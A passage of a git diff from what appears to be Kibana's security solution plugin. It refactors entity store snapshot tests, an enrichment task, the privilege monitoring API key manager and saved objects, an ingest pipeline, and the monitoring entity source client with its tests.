+ "orchestrator.type": Object { + "type": "keyword", + }, + "user.domain": Object { + "type": "keyword", + }, + "user.email": Object { + "type": "keyword", + }, + "user.full_name": Object { + "fields": Object { + "text": Object { + "type": "match_only_text", + }, + }, + "type": "keyword", + }, + "user.hash": Object { + "type": "keyword", + }, + "user.id": Object { + "type": "keyword", + }, + "user.name": Object { + "fields": Object { + "text": Object { + "type": "match_only_text", + }, + }, + "type": "keyword", + }, + "user.roles": Object { + "type": "keyword", + }, + }, +} +`; + exports[`getUnitedEntityDefinition host entityManagerDefinition 1`] = ` Object { "displayNameTemplate": "{{host.name}}", @@ -166,11 +1023,6 @@ Object { "type": "keyword", }, "entity.name": Object { - "fields": Object { - "text": Object { - "type": "match_only_text", - }, - }, "type": "keyword", }, "entity.source": Object { @@ -195,11 +1047,6 @@ Object { "type": "keyword", }, "host.name": Object { - "fields": Object { - "text": Object { - "type": "match_only_text", - }, - }, "type": "keyword", }, "host.os.name": Object { @@ -407,11 +1254,6 @@ Object { "type": "keyword", }, "entity.name": Object { - "fields": Object { - "text": Object { - "type": "match_only_text", - }, - }, "type": "keyword", }, "entity.source": Object { @@ -430,11 +1272,6 @@ Object { "type": "keyword", }, "service.name": Object { - "fields": Object { - "text": Object { - "type": "match_only_text", - }, - }, "type": "keyword", }, "service.node.name": Object { @@ -610,11 +1447,6 @@ Object { "type": "keyword", }, "entity.name": Object { - "fields": Object { - "text": Object { - "type": "match_only_text", - }, - }, "type": "keyword", }, "entity.source": Object { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/engine_description.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/engine_description.test.ts index 3e05d1f992ab2..916b5df713821 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/engine_description.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/engine_description.test.ts @@ -62,7 +62,6 @@ describe('getUnitedEntityDefinition', () => { expect(entityManagerDefinition).toMatchSnapshot(); }); }); - describe('service', () => { const description = createEngineDescription({ entityType: 'service', @@ -80,6 +79,31 @@ describe('getUnitedEntityDefinition', () => { expect(description.indexMappings).toMatchSnapshot(); }); + it('entityManagerDefinition', () => { + const entityManagerDefinition = convertToEntityManagerDefinition(description, { + namespace: 'test', + filter: '', + }); + expect(entityManagerDefinition).toMatchSnapshot(); + }); + }); + describe('generic', () => { + const description = createEngineDescription({ + entityType: 'generic', + namespace: 'test', + requestParams: defaultOptions, + defaultIndexPatterns, + config: { + syncDelay: duration(60, 'seconds'), + frequency: duration(60, 'seconds'), + developer: { pipelineDebugMode: false }, + }, + }); + + it('mapping', () => { + expect(description.indexMappings).toMatchSnapshot(); + }); + it('entityManagerDefinition', () => { const entityManagerDefinition = convertToEntityManagerDefinition(description, { namespace: 'test', diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/types.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/types.ts index ca7859c867c99..7e6c7c87395d5 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/types.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/types.ts @@ -21,6 +21,7 @@ export interface EntityEngineInstallationDescriptor { version: string; entityType: EntityType; identityField: string; + identityFieldMapping: MappingProperty; /** * Default static index patterns to use as the source of entity data. diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/tasks/field_retention_enrichment/field_retention_enrichment_task.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/tasks/field_retention_enrichment/field_retention_enrichment_task.ts index 0b65c2d6f73d1..a7fc20ee5adba 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/tasks/field_retention_enrichment/field_retention_enrichment_task.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/tasks/field_retention_enrichment/field_retention_enrichment_task.ts @@ -6,18 +6,21 @@ */ import moment from 'moment'; -import type { AnalyticsServiceSetup } from '@kbn/core/server'; -import { type Logger, SavedObjectsErrorHelpers } from '@kbn/core/server'; +import { + type AnalyticsServiceSetup, + type Logger, + SavedObjectsErrorHelpers, +} from '@kbn/core/server'; import type { ConcreteTaskInstance, TaskManagerSetupContract, TaskManagerStartContract, } from '@kbn/task-manager-plugin/server'; -import type { ExperimentalFeatures } from '../../../../../../common'; -import { getEntityAnalyticsEntityTypes } from '../../../../../../common/entity_analytics/utils'; +import { SECURITY_SOLUTION_ENABLE_ASSET_INVENTORY_SETTING } from '@kbn/management-settings-ids'; +import { getEnabledEntityTypes } from '../../../../../../common/entity_analytics/utils'; import { EngineComponentResourceEnum, - type EntityType, + EntityType, } from '../../../../../../common/api/entity_analytics/entity_store'; import { defaultState, @@ -36,6 +39,7 @@ import { } from '../../../../telemetry/event_based/events'; import { VERSIONS_BY_ENTITY_TYPE } from '../../entity_definitions/constants'; import { entityStoreTaskDebugLogFactory, entityStoreTaskLogFactory } from '../utils'; +import { getApiKeyManager } from '../../auth/api_key'; const getTaskName = (): string => TYPE; @@ -52,13 +56,11 @@ export const registerEntityStoreFieldRetentionEnrichTask = ({ logger, telemetry, taskManager, - experimentalFeatures, }: { getStartServices: EntityAnalyticsRoutesDeps['getStartServices']; logger: Logger; telemetry: AnalyticsServiceSetup; taskManager: TaskManagerSetupContract | undefined; - experimentalFeatures: ExperimentalFeatures; }): void => { if (!taskManager) { logger.info( @@ -91,6 +93,36 @@ export const registerEntityStoreFieldRetentionEnrichTask = ({ return count; }; + const getEnabledEntityTypesForNamespace = async (namespace: string) => { + const [core, { security, encryptedSavedObjects }] = await getStartServices(); + + const apiKeyManager = getApiKeyManager({ + core, + logger, + security, + encryptedSavedObjects, + namespace, + }); + + const apiKey = await apiKeyManager.getApiKey(); + + if (!apiKey) { + logger.info( + `[Entity Store] No API key found, returning all entity types as enabled in ${namespace} namespace` + ); + return Object.values(EntityType); + } + + const { soClient } = await apiKeyManager.getClientFromApiKey(apiKey); + + const uiSettingsClient = core.uiSettings.asScopedToClient(soClient); + const genericEntityStoreEnabled = await uiSettingsClient.get( + SECURITY_SOLUTION_ENABLE_ASSET_INVENTORY_SETTING + ); + + return getEnabledEntityTypes(genericEntityStoreEnabled); + }; + taskManager.registerTaskDefinitions({ [getTaskName()]: { title: 'Entity Analytics Entity Store - Execute Enrich Policy Task', @@ -101,7 +133,7 @@ export const registerEntityStoreFieldRetentionEnrichTask = ({ telemetry, getStoreSize, executeEnrichPolicy, - experimentalFeatures, + getEnabledEntityTypesForNamespace, }), }, }); @@ -170,7 +202,7 @@ export const runEntityStoreFieldRetentionEnrichTask = async ({ logger, taskInstance, telemetry, - experimentalFeatures, + getEnabledEntityTypesForNamespace, }: { logger: Logger; isCancelled: () => boolean; @@ -178,7 +210,7 @@ export const runEntityStoreFieldRetentionEnrichTask = async ({ getStoreSize: GetStoreSize; taskInstance: ConcreteTaskInstance; telemetry: AnalyticsServiceSetup; - experimentalFeatures: ExperimentalFeatures; + getEnabledEntityTypesForNamespace: (namespace: string) => Promise; }): Promise<{ state: EntityStoreFieldRetentionTaskState; }> => { @@ -201,7 +233,7 @@ export const runEntityStoreFieldRetentionEnrichTask = async ({ return { state: updatedState }; } - const entityTypes = getEntityAnalyticsEntityTypes(); + const entityTypes = await getEnabledEntityTypesForNamespace(state.namespace); for (const entityType of entityTypes) { const start = Date.now(); @@ -251,13 +283,13 @@ const createEntityStoreFieldRetentionEnrichTaskRunnerFactory = telemetry, executeEnrichPolicy, getStoreSize, - experimentalFeatures, + getEnabledEntityTypesForNamespace, }: { logger: Logger; telemetry: AnalyticsServiceSetup; executeEnrichPolicy: ExecuteEnrichPolicy; getStoreSize: GetStoreSize; - experimentalFeatures: ExperimentalFeatures; + getEnabledEntityTypesForNamespace: (namespace: string) => Promise; }) => ({ taskInstance }: { taskInstance: ConcreteTaskInstance }) => { let cancelled = false; @@ -271,7 +303,7 @@ const createEntityStoreFieldRetentionEnrichTaskRunnerFactory = logger, taskInstance, telemetry, - experimentalFeatures, + getEnabledEntityTypesForNamespace, }), cancel: async () => { cancelled = true; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/api_key.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/api_key.ts index 60d10c96b1471..edbdfca9fd376 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/api_key.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/api_key.ts @@ -13,9 +13,9 @@ import type { EncryptedSavedObjectsPluginStart } from '@kbn/encrypted-saved-obje import { getFakeKibanaRequest } from '@kbn/security-plugin/server/authentication/api_keys/fake_kibana_request'; import { SavedObjectsErrorHelpers } from '@kbn/core-saved-objects-server'; -import type { SavedObjectsType } from '@kbn/core/server'; -import { getPrivmonEncryptedSavedObjectId } from './saved_object'; -import { privilegeMonitoringRuntimePrivileges } from './privileges'; + +import { PrivilegeMonitoringApiKeyType, getPrivmonEncryptedSavedObjectId } from './saved_object'; +import { monitoringEntitySourceType } from '../saved_objects'; export interface ApiKeyManager { generate: () => Promise; @@ -32,9 +32,8 @@ export interface ApiKeyManagerDependencies { export const getApiKeyManager = (deps: ApiKeyManagerDependencies) => { return { - generate: generate(deps), - getApiKey: getApiKey(deps), - getClientFromApiKey: getClientFromApiKey(deps), + generate: () => generate(deps), + getClient: () => getClient(deps), getRequestFromApiKey, }; }; @@ -51,7 +50,7 @@ const generate = async (deps: ApiKeyManagerDependencies) => { const apiKey = await generateAPIKey(request, deps); const soClient = core.savedObjects.getScopedClient(request, { - includedHiddenTypes: [PrivilegeMonitoringApiKeyType.name], + includedHiddenTypes: [PrivilegeMonitoringApiKeyType.name, monitoringEntitySourceType.name], }); await soClient.create(PrivilegeMonitoringApiKeyType.name, apiKey, { @@ -92,31 +91,34 @@ const getRequestFromApiKey = async (apiKey: PrivilegeMonitoringAPIKey) => { api_key: apiKey.apiKey, }); }; -const getClientFromApiKey = - (deps: ApiKeyManagerDependencies) => async (apiKey: PrivilegeMonitoringAPIKey) => { - const fakeRequest = getFakeKibanaRequest({ - id: apiKey.id, - api_key: apiKey.apiKey, - }); - const clusterClient = deps.core.elasticsearch.client.asScoped(fakeRequest); - const soClient = deps.core.savedObjects.getScopedClient(fakeRequest, { - includedHiddenTypes: [PrivilegeMonitoringApiKeyType.name], - }); - return { - clusterClient, - soClient, - }; +const getClient = async (deps: ApiKeyManagerDependencies) => { + const apiKey = await getApiKey(deps); + if (!apiKey) return undefined; + const fakeRequest = getFakeKibanaRequest({ + id: apiKey.id, + api_key: apiKey.apiKey, + }); + const clusterClient = deps.core.elasticsearch.client.asScoped(fakeRequest); + return { + clusterClient, }; +}; -export const generateAPIKey = async ( +const generateAPIKey = async ( req: KibanaRequest, deps: ApiKeyManagerDependencies ): Promise => { + deps.logger.info('Generating Privmon API key'); const apiKey = await deps.security.authc.apiKeys.grantAsInternalUser(req, { name: 'Privilege Monitoring API key', - role_descriptors: { - privmon_admin: privilegeMonitoringRuntimePrivileges([]), - }, + /** + * Intentionally passing empty array - generates a snapshot (empty object). + * Due to not knowing what index pattern changes customer may make to index list. + * + * - If the customer later adds new indices they *do* have access to, the key will still function. + * - If they add indices they *don't* have access to, they will need to reinitialize once their access is elevated. + */ + role_descriptors: {}, metadata: { description: 'API key used to manage the resources in the privilege monitoring engine', }, @@ -131,24 +133,6 @@ export const generateAPIKey = async ( } }; -export const SO_PRIVILEGE_MONITORING_API_KEY_TYPE = 'privmon-api-key'; - -export const PrivilegeMonitoringApiKeyType: SavedObjectsType = { - name: SO_PRIVILEGE_MONITORING_API_KEY_TYPE, - hidden: true, - namespaceType: 'multiple-isolated', - mappings: { - dynamic: false, - properties: { - apiKey: { type: 'binary' }, - }, - }, - management: { - importableAndExportable: false, - displayName: 'Privilege Monitoring API key', - }, -}; - export interface PrivilegeMonitoringAPIKey { id: string; name: string; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/saved_object.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/saved_object.ts index 126abec897639..09485bb6eaa15 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/saved_object.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/auth/saved_object.ts @@ -4,10 +4,34 @@ * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ +import type { SavedObjectsType } from '@kbn/core/server'; +import type { EncryptedSavedObjectTypeRegistration } from '@kbn/encrypted-saved-objects-plugin/server'; import { v5 as uuidv5 } from 'uuid'; -const PRIVMON_API_KEY_SO_ID = '19540C97-E35C-485B-8566-FB86EC8455E4'; +const PRIVMON_API_KEY_SO_ID = 'd2ee7992-cb4d-473a-8f1a-44ba187d4ac9'; export const getPrivmonEncryptedSavedObjectId = (space: string) => { return uuidv5(space, PRIVMON_API_KEY_SO_ID); }; + +export const SO_PRIVILEGE_MONITORING_API_KEY_TYPE = 'privmon-api-key'; + +export const PrivilegeMonitoringApiKeyType: SavedObjectsType = { + name: SO_PRIVILEGE_MONITORING_API_KEY_TYPE, + hidden: true, + namespaceType: 'multiple-isolated', + mappings: { + dynamic: false, + properties: {}, + }, + management: { + importableAndExportable: false, + displayName: 'Privilege Monitoring API key', + }, +}; + +export const PrivilegeMonitoringApiKeyEncryptionParams: EncryptedSavedObjectTypeRegistration = { + type: SO_PRIVILEGE_MONITORING_API_KEY_TYPE, + attributesToEncrypt: new Set(['apiKey']), + attributesToIncludeInAAD: new Set(['id', 'name']), +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/check_and_init_prvileged_monitoring_resources.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/check_and_init_privileged_monitoring_resources.ts similarity index 83% rename from x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/check_and_init_prvileged_monitoring_resources.ts rename to x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/check_and_init_privileged_monitoring_resources.ts index 9148cfe4a4f5e..e4eca6d7a5e63 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/check_and_init_prvileged_monitoring_resources.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/check_and_init_privileged_monitoring_resources.ts @@ -18,11 +18,13 @@ export const checkAndInitPrivilegedMonitoringResources = async ( logger: Logger ) => { const secSol = await context.securitySolution; - const privMonDataClient = await secSol.getPrivilegeMonitoringDataClient(); + const privMonDataClient = secSol.getPrivilegeMonitoringDataClient(); + + await privMonDataClient.createIngestPipelineIfDoesNotExist(); const doesIndexExist = await privMonDataClient.doesIndexExist(); if (!doesIndexExist) { - logger.info('Privilege monitoring resources are not installed, initialising...'); + logger.info('Privilege monitoring index does not exist, initialising.'); await privMonDataClient.createOrUpdateIndex().catch((e) => { if (e.meta.body.error.type === 'resource_already_exists_exception') { logger.info('Privilege monitoring index already exists'); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/indices.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/elasticsearch/indices.ts similarity index 89% rename from x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/indices.ts rename to x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/elasticsearch/indices.ts index 36b609761a6b4..e3450b1ffa9ea 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/indices.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/elasticsearch/indices.ts @@ -13,12 +13,7 @@ export const PRIVILEGED_MONITOR_IMPORT_USERS_INDEX_MAPPING: MappingProperties = user: { properties: { name: { - type: 'text', - fields: { - keyword: { - type: 'keyword', - }, - }, + type: 'keyword', }, }, }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/elasticsearch/pipelines/event_ingested.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/elasticsearch/pipelines/event_ingested.ts new file mode 100644 index 0000000000000..ddaa072765794 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/elasticsearch/pipelines/event_ingested.ts @@ -0,0 +1,35 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { IngestPutPipelineRequest } from '@elastic/elasticsearch/lib/api/types'; + +export const PRIVMON_EVENT_INGEST_PIPELINE_ID = 'ea-privmon-event-ingested'; + +export const eventIngestPipeline: IngestPutPipelineRequest = { + id: PRIVMON_EVENT_INGEST_PIPELINE_ID, + _meta: { + managed_by: 'ea_privilege_user_monitoring', + managed: true, + }, + description: 'Add event.ingested field to privileged user monitoring events', + processors: [ + { + set: { + field: 'event.ingested', + value: '{{_ingest.timestamp}}', + }, + }, + ], + on_failure: [ + { + set: { + field: 'error.message', + value: 'Failed to add event.ingested field to privileged user monitoring events', + }, + }, + ], +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.test.ts index db7243443584a..bebdea60136e9 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.test.ts @@ -12,13 +12,12 @@ import { loggingSystemMock, } from '@kbn/core/server/mocks'; import { monitoringEntitySourceTypeName } from './saved_objects'; -import type { SavedObject, SavedObjectsFindResponse } from '@kbn/core/server'; +import type { SavedObject, SavedObjectsClientContract } from '@kbn/core/server'; describe('MonitoringEntitySourceDataClient', () => { const mockSavedObjectClient = savedObjectsClientMock.create(); const clusterClientMock = elasticsearchServiceMock.createScopedClusterClient(); const loggerMock = loggingSystemMock.createLogger(); - const namespace = 'test-namespace'; loggerMock.debug = jest.fn(); const defaultOpts = { @@ -33,6 +32,7 @@ describe('MonitoringEntitySourceDataClient', () => { type: 'test-type', name: 'Test Source', indexPattern: 'test-index-pattern', + managed: false, matchers: [ { fields: ['user.role'], @@ -56,13 +56,15 @@ describe('MonitoringEntitySourceDataClient', () => { (err as Error & { output?: { statusCode: number } }).output = { statusCode: 404 }; throw err; }); - defaultOpts.soClient.find.mockResolvedValue({ - total: 0, - saved_objects: [], - } as unknown as SavedObjectsFindResponse); + defaultOpts.soClient.asScopedToNamespace.mockReturnValue({ + find: jest.fn().mockResolvedValue({ + total: 0, + saved_objects: [], + }), + } as unknown as SavedObjectsClientContract); defaultOpts.soClient.create.mockResolvedValue({ - id: 'temp-id', // TODO: update to use dynamic ID + id: 'abcdefg', type: monitoringEntitySourceTypeName, attributes: testDescriptor, references: [], @@ -72,13 +74,28 @@ describe('MonitoringEntitySourceDataClient', () => { expect(defaultOpts.soClient.create).toHaveBeenCalledWith( monitoringEntitySourceTypeName, - testDescriptor, - { - id: `entity-analytics-monitoring-entity-source-${namespace}-${testDescriptor.type}-${testDescriptor.indexPattern}`, - } + testDescriptor ); - expect(result).toEqual(testDescriptor); + expect(result).toEqual({ ...testDescriptor, managed: false, id: 'abcdefg' }); + }); + + it('should not create Monitoring Entity Source Sync Config when a SO already exist with the same name', async () => { + const existingSavedObject = { + id: 'unique-id', + attributes: testDescriptor, + } as unknown as SavedObject; + + defaultOpts.soClient.asScopedToNamespace.mockReturnValue({ + find: jest.fn().mockResolvedValue({ + total: 1, + saved_objects: [existingSavedObject], + }), + } as unknown as SavedObjectsClientContract); + + await expect(dataClient.init(testDescriptor)).rejects.toThrow( + `A monitoring entity source with the name "${testDescriptor.name}" already exists.` + ); }); }); @@ -90,10 +107,10 @@ describe('MonitoringEntitySourceDataClient', () => { references: [], }; defaultOpts.soClient.get.mockResolvedValue(getResponse as unknown as SavedObject); - const result = await dataClient.get(); + const result = await dataClient.get('abcdefg'); expect(defaultOpts.soClient.get).toHaveBeenCalledWith( monitoringEntitySourceTypeName, - `temp-id` // TODO: https://github.com/elastic/security-team/issues/12851 + `abcdefg` ); expect(result).toEqual(getResponse.attributes); }); @@ -101,55 +118,46 @@ describe('MonitoringEntitySourceDataClient', () => { describe('update', () => { it('should update Monitoring Entity Source Sync Config Successfully', async () => { - const existingDescriptor = { - total: 1, - saved_objects: [{ attributes: testDescriptor }], - } as unknown as SavedObjectsFindResponse; - - const testSourceObject = { - filter: {}, - indexPattern: 'test-index-pattern', - matchers: [ - { - fields: ['user.role'], - values: ['admin'], - }, - ], - name: 'Test Source', - type: 'test-type', + const id = 'abcdefg'; + const updateDescriptor = { + ...testDescriptor, + managed: false, + name: 'Updated Source', + id, // it preserves the id when updating }; - defaultOpts.soClient.find.mockResolvedValue( - existingDescriptor as unknown as SavedObjectsFindResponse - ); + defaultOpts.soClient.asScopedToNamespace.mockReturnValue({ + find: jest.fn().mockResolvedValue({ + total: 0, + saved_objects: [], + }), + } as unknown as SavedObjectsClientContract); defaultOpts.soClient.update.mockResolvedValue({ - id: `temp-id`, // TODO: https://github.com/elastic/security-team/issues/12851 + id, type: monitoringEntitySourceTypeName, - attributes: { ...testDescriptor, name: 'Updated Source' }, + attributes: updateDescriptor, references: [], }); - const updatedDescriptor = { ...testDescriptor, name: 'Updated Source' }; - const result = await dataClient.init(testDescriptor); - + const result = await dataClient.update(updateDescriptor); expect(defaultOpts.soClient.update).toHaveBeenCalledWith( monitoringEntitySourceTypeName, - `entity-analytics-monitoring-entity-source-${namespace}-${testDescriptor.type}-${testDescriptor.indexPattern}`, - testSourceObject, + id, + updateDescriptor, + { refresh: 'wait_for' } ); - - expect(result).toEqual(updatedDescriptor); + expect(result).toEqual(updateDescriptor); }); }); describe('delete', () => { it('should delete Monitoring Entity Source Sync Config Successfully', async () => { - await dataClient.delete(); + await dataClient.delete('abcdefg'); expect(mockSavedObjectClient.delete).toHaveBeenCalledWith( monitoringEntitySourceTypeName, - `temp-id` // TODO: https://github.com/elastic/security-team/issues/12851 + 'abcdefg' ); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.ts index 75d80e4f93368..481f22c0b391e 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/monitoring_entity_source_data_client.ts @@ -7,8 +7,9 @@ import type { IScopedClusterClient, Logger, SavedObjectsClientContract } from '@kbn/core/server'; import type { - MonitoringEntitySourceDescriptor, - MonitoringEntitySourceResponse, + CreateMonitoringEntitySource, + ListEntitySourcesRequestQuery, + MonitoringEntitySource, } from '../../../../common/api/entity_analytics/privilege_monitoring/monitoring_entity_source/monitoring_entity_source.gen'; import { MonitoringEntitySourceDescriptorClient } from './saved_objects'; @@ -28,9 +29,7 @@ export class MonitoringEntitySourceDataClient { }); } - public async init( - input: MonitoringEntitySourceDescriptor - ): Promise { + public async init(input: CreateMonitoringEntitySource) { const descriptor = await this.monitoringEntitySourceClient.create({ ...input, }); @@ -38,13 +37,13 @@ export class MonitoringEntitySourceDataClient { return descriptor; } - public async get(): Promise { - this.log('debug', 'Getting Monitoring Entity Source Sync saved object'); - return this.monitoringEntitySourceClient.get(); + public async get(id: string): Promise { + this.log('debug', `Getting Monitoring Entity Source Sync saved object with id: ${id}`); + return this.monitoringEntitySourceClient.get(id); } - public async update(update: Partial) { - this.log('debug', 'Updating Monitoring Entity Source Sync saved object'); + public async update(update: Partial & { id: string }) { + this.log('debug', `Updating Monitoring Entity Source Sync saved object with id: ${update.id}`); const sanitizedUpdate = { ...update, @@ -57,14 +56,14 @@ export class MonitoringEntitySourceDataClient { return this.monitoringEntitySourceClient.update(sanitizedUpdate); } - public async delete() { - this.log('debug', 'Deleting Monitoring Entity Source Sync saved object'); - return this.monitoringEntitySourceClient.delete(); + public async delete(id: string) { + this.log('debug', `Deleting Monitoring Entity Source Sync saved object with id: ${id}`); + return this.monitoringEntitySourceClient.delete(id); } - public async list(): Promise { + public async list(query: ListEntitySourcesRequestQuery): Promise { this.log('debug', 'Finding all Monitoring Entity Source Sync saved objects'); - return this.monitoringEntitySourceClient.findAll(); + return this.monitoringEntitySourceClient.findAll(query); } private log(level: Exclude, msg: string) { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.test.ts index 63c0f075640c2..df924f3082fce 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.test.ts @@ -17,6 +17,10 @@ import { EngineComponentResourceEnum } from '../../../../common/api/entity_analy import { startPrivilegeMonitoringTask as mockStartPrivilegeMonitoringTask } from './tasks/privilege_monitoring_task'; import type { AuditLogger } from '@kbn/core/server'; +import { + eventIngestPipeline, + PRIVMON_EVENT_INGEST_PIPELINE_ID, +} from './elasticsearch/pipelines/event_ingested'; jest.mock('./tasks/privilege_monitoring_task', () => { return { @@ -72,7 +76,6 @@ describe('Privilege Monitoring Data Client', () => { expect(mockCreateOrUpdateIndex).toHaveBeenCalled(); expect(mockStartPrivilegeMonitoringTask).toHaveBeenCalled(); - expect(loggerMock.debug).toHaveBeenCalledTimes(3); expect(auditMock.log).toHaveBeenCalled(); expect(result).toEqual(mockDescriptor); }); @@ -134,6 +137,61 @@ describe('Privilege Monitoring Data Client', () => { }); }); + describe('createIngestPipelineIfDoesNotExist', () => { + it('should simply log a message if the pipeline already exists', async () => { + const mockLog = jest.fn(); + Object.defineProperty(dataClient, 'log', { value: mockLog }); + + const mockGetPipeline = jest.fn().mockResolvedValue({ + [PRIVMON_EVENT_INGEST_PIPELINE_ID]: {}, + }); + Object.defineProperty(dataClient, 'internalUserClient', { + value: { + ingest: { + getPipeline: mockGetPipeline, + }, + }, + }); + + await dataClient.createIngestPipelineIfDoesNotExist(); + + expect(mockGetPipeline).toHaveBeenCalled(); + + expect(mockLog).toHaveBeenCalledWith( + 'info', + 'Privileged user monitoring ingest pipeline already exists.' + ); + }); + + it('should only create a pipeline if no existing pipeline exists', async () => { + const mockLog = jest.fn(); + Object.defineProperty(dataClient, 'log', { value: mockLog }); + + const mockGetPipeline = jest.fn().mockResolvedValue({}); + const mockPutPipeline = jest.fn(); + + Object.defineProperty(dataClient, 'internalUserClient', { + value: { + ingest: { + getPipeline: mockGetPipeline, + putPipeline: mockPutPipeline, + }, + }, + }); + + await dataClient.createIngestPipelineIfDoesNotExist(); + + expect(mockPutPipeline).toHaveBeenCalledWith(expect.objectContaining(eventIngestPipeline)); + + expect(mockLog).toHaveBeenCalledWith( + 'info', + expect.stringContaining( + 'Privileged user monitoring ingest pipeline does not exist, creating.' + ) + ); + }); + }); + describe('audit', () => { it('should log audit events successfully', async () => { // TODO: implement once we have more auditing diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.ts index 364f5909c993f..c16b5761c7b02 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/privilege_monitoring/privilege_monitoring_data_client.ts @@ -23,12 +23,10 @@ import Papa from 'papaparse'; import { Readable } from 'stream'; import type { SortResults } from '@elastic/elasticsearch/lib/api/types'; +import { defaultMonitoringUsersIndex } from '../../../../common/constants'; import type { PrivmonBulkUploadUsersCSVResponse } from '../../../../common/api/entity_analytics/privilege_monitoring/users/upload_csv.gen'; import type { HapiReadableStream } from '../../../types'; -import { - defaultMonitoringUsersIndex, - getPrivilegedMonitorUsersIndex, -} from '../../../../common/entity_analytics/privilege_monitoring/constants'; +import { getPrivilegedMonitorUsersIndex } from '../../../../common/entity_analytics/privilege_monitoring/utils'; import type { UpdatePrivMonUserRequestBody } from '../../../../common/api/entity_analytics/privilege_monitoring/users/update.gen'; import type { @@ -47,7 +45,7 @@ import { createOrUpdateIndex } from '../utils/create_or_update_index'; import { PRIVILEGED_MONITOR_IMPORT_USERS_INDEX_MAPPING, generateUserIndexMappings, -} from './indices'; +} from './elasticsearch/indices'; import { POST_EXCLUDE_INDICES, PRE_EXCLUDE_INDICES, @@ -69,12 +67,14 @@ import { privilegedUserParserTransform } from './users/privileged_user_parse_tra import type { Accumulator } from './users/bulk/utils'; import { accumulateUpsertResults } from 